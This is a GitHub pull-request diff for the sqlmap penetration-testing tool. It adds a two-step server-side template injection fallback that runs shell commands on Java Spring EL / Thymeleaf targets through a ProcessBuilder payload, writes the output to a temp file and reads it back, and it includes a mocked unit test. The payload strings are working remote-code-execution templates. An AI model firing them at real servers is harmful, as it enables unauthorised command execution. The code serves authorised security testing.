Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion data/xml/queries.xml
Original file line number Diff line number Diff line change
Expand Up @@ -1837,7 +1837,7 @@
<hostname query="PARSE_JSON(SYSTEM$ALLOWLIST())[0]:host"/>
<table_comment/>
<column_comment/>
<is_dba query="CURRENT_ROLE()='ACCOUNTADMIN'"/>
<is_dba query="CURRENT_ROLE()='ACCOUNTADMIN' OR ARRAY_CONTAINS('ACCOUNTADMIN'::VARIANT,PARSE_JSON(CURRENT_AVAILABLE_ROLES()))"/>
<dbs>
<inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/>
<blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA"/>
Expand Down
2 changes: 1 addition & 1 deletion lib/core/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
from thirdparty import six

# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.63"
VERSION = "1.10.7.65"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
Expand Down
139 changes: 91 additions & 48 deletions lib/techniques/ssti/inject.py
Original file line number Diff line number Diff line change
Expand Up @@ -684,6 +684,78 @@ def _canTakeover(engine, evidence):
return True


# Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private
# java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any
# recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the
# command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read
# that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path.
_FILE_RCE = {
"Spring EL / Thymeleaf": (
"${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}",
"${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}",
),
}


def _commandOutput(page, baseline, original, payload, engine):
"""Extract genuine command output from a response via baseline diff, rejecting error pages and
reflected-payload fragments. Returns the cleaned output string, or None when there is none."""
if not page:
return None
if engine.errorRegex and _isError(page, engine):
return None

text = getUnicode(page)
baseText = getUnicode(baseline or "")
output = ""

if baseText and text != baseText:
sm = difflib.SequenceMatcher(None, baseText, text)
parts = [text[j1:j2] for tag, i1, i2, j1, j2 in sm.get_opcodes() if tag in ("insert", "replace")]
if parts:
output = "".join(parts).strip()

if not output:
output = text
if original and output.startswith(original):
output = output[len(original):]
output = output.strip()

# A template that ECHOED our payload directive instead of executing it is reflection, not output.
if output and output in payload:
return None

if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
return output

return None


def _fileRceCapture(place, parameter, engine, original, cmd, extract):
"""Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload
(redirects the command's output to a random temp file), then poll-read that file. 'extract' is a
callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(),
so the read is retried a few times. Returns whatever 'extract' yields, else None."""
spec = _FILE_RCE.get(engine.name)
if not spec:
return None

execTemplate, readTemplate = spec
outFile = "/tmp/%s" % randomStr(length=12, lowercase=True)
execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile)
_send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored

readPayload = readTemplate.replace("{OUTFILE}", outFile)
for _ in range(3):
page = _send(place, parameter, original + readPayload)
result = extract(readPayload, page)
if result is not None:
return result
time.sleep(1)
return None


def _probeRce(place, parameter, engine):
"""Benign, quiet RCE-capability check: run `echo <marker>` via the engine's RCE payloads and
return True if the marker is reflected (proving OS command execution is reachable). Used only
Expand All @@ -699,62 +771,33 @@ def _probeRce(place, parameter, engine):
page = _send(place, parameter, original + payload)
if page and marker in getUnicode(page):
return True
return False

# in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel
return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker,
lambda readPayload, page: True if (page and marker in getUnicode(page)) else None))


def _executeCommand(place, parameter, engine, cmd):
"""Execute an OS command via the engine's RCE payloads, trying each fallback
in order until one produces output. Captures output via baseline diff."""
"""Execute an OS command via the engine's RCE payloads, trying each fallback in order until one
produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened
Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE)."""

safeCmd = _escapeSingleQuoted(cmd)
original = _originalValue(place, parameter) or ""
baseline = _send(place, parameter, original)

for payloadTemplate, description in engine.rcePayloads:
payload = payloadTemplate.replace("{CMD}", safeCmd)
fullPayload = original + payload
page = _send(place, parameter, fullPayload)

if not page:
continue

# Skip error pages (payload caused a template exception, not a shell)
if engine.errorRegex and _isError(page, engine):
continue

text = getUnicode(page)
baseText = getUnicode(baseline or "")
output = ""

if baseText and text != baseText:
sm = difflib.SequenceMatcher(None, baseText, text)
opcodes = sm.get_opcodes()
parts = []
for tag, i1, i2, j1, j2 in opcodes:
if tag in ("insert", "replace"):
parts.append(text[j1:j2])
if parts:
output = "".join(parts).strip()

if not output:
output = text
if original and output.startswith(original):
output = output[len(original):]
output = output.strip()

# A template that ECHOED our payload directive instead of executing it (e.g. a patched or
# sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command
# output: reject it so the loop falls through to the honest "no output received" warning
# instead of presenting a reflected payload fragment as a fake command result.
if output and output in payload:
continue

# Suppress when output is just the baseline with the original value removed
# (command produced no output; the template rendered empty)
# Filter out template error messages masquerading as command output
if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
return
page = _send(place, parameter, original + payload)
output = _commandOutput(page, baseline, original, payload, engine)
if output is not None:
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
return

output = _fileRceCapture(place, parameter, engine, original, cmd,
lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine))
if output is not None:
conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output))
return

logger.warning("no output received for OS command '%s' (tried %d payload(s))" % (cmd, len(engine.rcePayloads)))
logger.warning("no output received for OS command '%s'" % cmd)
41 changes: 41 additions & 0 deletions tests/test_ssti.py
Original file line number Diff line number Diff line change
Expand Up @@ -575,3 +575,44 @@ def test_mako_distinguished_from_freemarker_spring(self):
result, evidence = ssti._fingerprint("GET", "q")
self.assertEqual(result.name, "Mako")
self.assertTrue(evidence.get("boolean"))


class TestFileBasedRce(unittest.TestCase):
"""Two-step file-based RCE fallback (_FILE_RCE) for JDK-hardened Java engines: modern JVMs
reflectively block Process.getInputStream(), so in-band stdout capture errors out; exec-to-tempfile
then read-file must still recover the command output."""

def setUp(self):
from lib.core.data import conf
self._send = ssti._send
self._dumper = conf.dumper
captured = self.captured = []

class _Dumper(object):
def singleString(self, text, **kwargs):
captured.append(text)

conf.dumper = _Dumper()

def tearDown(self):
from lib.core.data import conf
ssti._send = self._send
conf.dumper = self._dumper

def test_spel_output_via_file_when_inband_blocked(self):
engine = next(e for e in ssti._ENGINE_TABLE if e.name == "Spring EL / Thymeleaf")
self.assertIn(engine.name, ssti._FILE_RCE) # engine wired for the two-step fallback

def mock(place, parameter, value):
if "ProcessBuilder" in value: # exec step: launches (render error, ignored)
return "org.springframework.expression.spel.SpelEvaluationException: EL1001E"
if "readAllBytes" in value: # read step: the temp file's content
return "Hello uid=0(root) gid=0(root)"
if "Runtime" in value or "getInputStream" in value: # in-band capture blocked on hardened JDK
return "org.springframework.expression.spel.SpelEvaluationException: EL1029E"
return "Hello " # baseline / original value

ssti._send = mock
ssti._executeCommand("GET", "q", engine, "id")
self.assertTrue(any("uid=0(root)" in _ for _ in self.captured),
msg="two-step file-based RCE did not surface command output: %r" % self.captured)